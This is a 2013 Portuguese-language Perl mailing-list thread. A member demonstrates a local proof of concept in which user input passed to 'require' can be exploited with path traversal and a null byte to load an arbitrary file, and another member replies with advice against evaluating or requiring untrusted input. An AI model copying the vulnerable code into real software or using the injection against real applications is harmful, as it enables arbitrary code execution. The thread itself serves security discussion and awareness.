[SP-pm] Perl e Null byte

Daniel de Oliveira Mantovani daniel.oliveira.mantovani at gmail.com
Wed Jun 12 09:13:56 PDT 2013


Ops o e-mail foi sem querer.

2013/6/12 Daniel de Oliveira Mantovani <daniel.oliveira.mantovani at gmail.com>:
> http://blogs.perl.org/users/michael_g_schwern/2011/10/how-not-to-load-a-module-or-bad-interfaces-make-good-people-do-bad-things.html
>
> 2013/6/12 Blabos de Blebe <blabos at gmail.com>:
>>> mas ficou claro que é possível injetar um 'evil code' num código
>>> vulnerável sem muitos problemas.
>>
>> Correto. Em um código vulnerável é possível injetar 'evil code' sem maiores
>> problemas. Isso é um bug que existe no nosso universo, infelizmente :)
>>
>> No caso de Perl e principalmente nos casos onde se faz necessária a inclusão
>> e execução de código, nós devemos ficar atentos para não escrever código
>> vulnerável, evitando coisas óbvias como, aplicar 'eval' em strings que
>> venham de fontes não confiáveis, interpolar entradas do usuário, vulgo, dar
>> require em nomes de arquivos que venham de entrada do usuário e coisas do
>> gênero.
>>
>> Existem módulos no cpan, especialmente criados para lidar com essas
>> situações, nem sempre da melhor maneira possível.
>>
>> No link abaixo, podemos encontrar a ponta do iceberg e começar a conversa:
>>
>> http://blogs.perl.org/users/michael_g_schwern/2011/10/how-not-to-load-a-module-or-bad-interfaces-make-good-people-do-bad-things.html
>>
>> []'s
>>
>>
>> 2013/6/11 Junior Moraes <junior at fvox.com.br>
>>>
>>> Hi.
>>>
>>> Estava aqui mexendo com uma aplicação que utiliza o módulo AnyData[1]
>>> dentro de um webservice que retorna as informações desejadas. Neste módulo,
>>> temos o método adExport() que recebe um parâmetro (que, no caso da
>>> aplicação, era recebido via GET) referente ao 'format' e tenta instanciar o
>>> módulo.
>>> Fiquei brincando de manipular o path com esse parâmetro, mas a
>>> concatenação da string '.pm' dificultava as coisas. Porém, como na
>>> exploração de um RFI/LFI (Remote/Local File Inclusion) no PHP, é possível
>>> ignorar isso com o bom e velho null byte[2].
>>>
>>> Escrevi um exemplo prático:
>>>
>>> $ pwd
>>> /home/fvox/poc
>>>
>>> $ cat Module.pm
>>> package Module;
>>>
>>> use common::sense;
>>> use Moo;
>>> use Carp;
>>>
>>> use vars qw(@ISA @EXPORT);
>>> @ISA = qw(Exporter);
>>> @EXPORT = qw(testing);
>>>
>>> sub testing {
>>>     my $plugin = shift;
>>>
>>>     my $module = 'Module/' . $plugin . '.pm';
>>>     eval { require $module; };
>>>     croak $@ if $@;
>>>
>>>     $module =~ s/\//::/g;
>>>     $module =~ s/\.pm$//gi;
>>>     my $obj = $module->new;
>>> }
>>>
>>> 1;
>>>
>>> $ cat inc.pl
>>> print "Null Byte injetado com sucesso! :)\n";
>>>
>>> $ perl -MModule -E'say
>>> testing("../../../../../../../../../home/fvox/poc/inc.pl\00");'
>>> Null Byte injetado com sucesso! :)
>>> Can't locate object method "new" via package
>>> "Module::..::..::..::..::..::..::..::..::..::home::fvox::poc::inc.pl"
>>> (perhaps you forgot to load
>>> "Module::..::..::..::..::..::..::..::..::..::home::fvox::poc::inc.pl"?) at
>>> Module.pm line 21.
>>>
>>>
>>> Não fiz nenhum experimento em alguma aplicação real, mas ficou claro que é
>>> possível injetar um 'evil code' num código vulnerável sem muitos problemas.
>>> Suponho que também funcione na função open(), entre outros casos.
>>> Alguém já tinha brincado com isso antes? Hhauhauh
>>>
>>> PS: Desculpem se isso for muuuito antigo. É que só fui dar uma de
>>> retardado e brincar com isso em 2013... :P
>>>
>>> [1] https://metacpan.org/module/AnyData
>>> [2] http://en.wikipedia.org/wiki/Null_character
>>>
>>> --
>>>
>>> ====================================
>>> Junior "fvox" Moraes
>>> Linux Reg. #557527
>>> junior[at]fvox[dot]com[dot]br
>>> fb[dot]com/juniorfvox
>>> twitter[dot]com/fvox
>>> ====================================
>>> =begin disclaimer
>>>    Sao Paulo Perl Mongers: http://sao-paulo.pm.org/
>>>  SaoPaulo-pm mailing list: SaoPaulo-pm at pm.org
>>>  L<http://mail.pm.org/mailman/listinfo/saopaulo-pm>
>>> =end disclaimer
>>>
>>
>>
>> =begin disclaimer
>>    Sao Paulo Perl Mongers: http://sao-paulo.pm.org/
>>  SaoPaulo-pm mailing list: SaoPaulo-pm at pm.org
>>  L<http://mail.pm.org/mailman/listinfo/saopaulo-pm>
>> =end disclaimer
>>
>
>
>
> --
>
> -dom
>
> --
>
> IBM - Business Analytics Optimization Consultant
> Daniel Mantovani +5511 8538-9897
> XOXO



-- 

-dom

--

IBM - Business Analytics Optimization Consultant
Daniel Mantovani +5511 8538-9897
XOXO


More information about the SaoPaulo-pm mailing list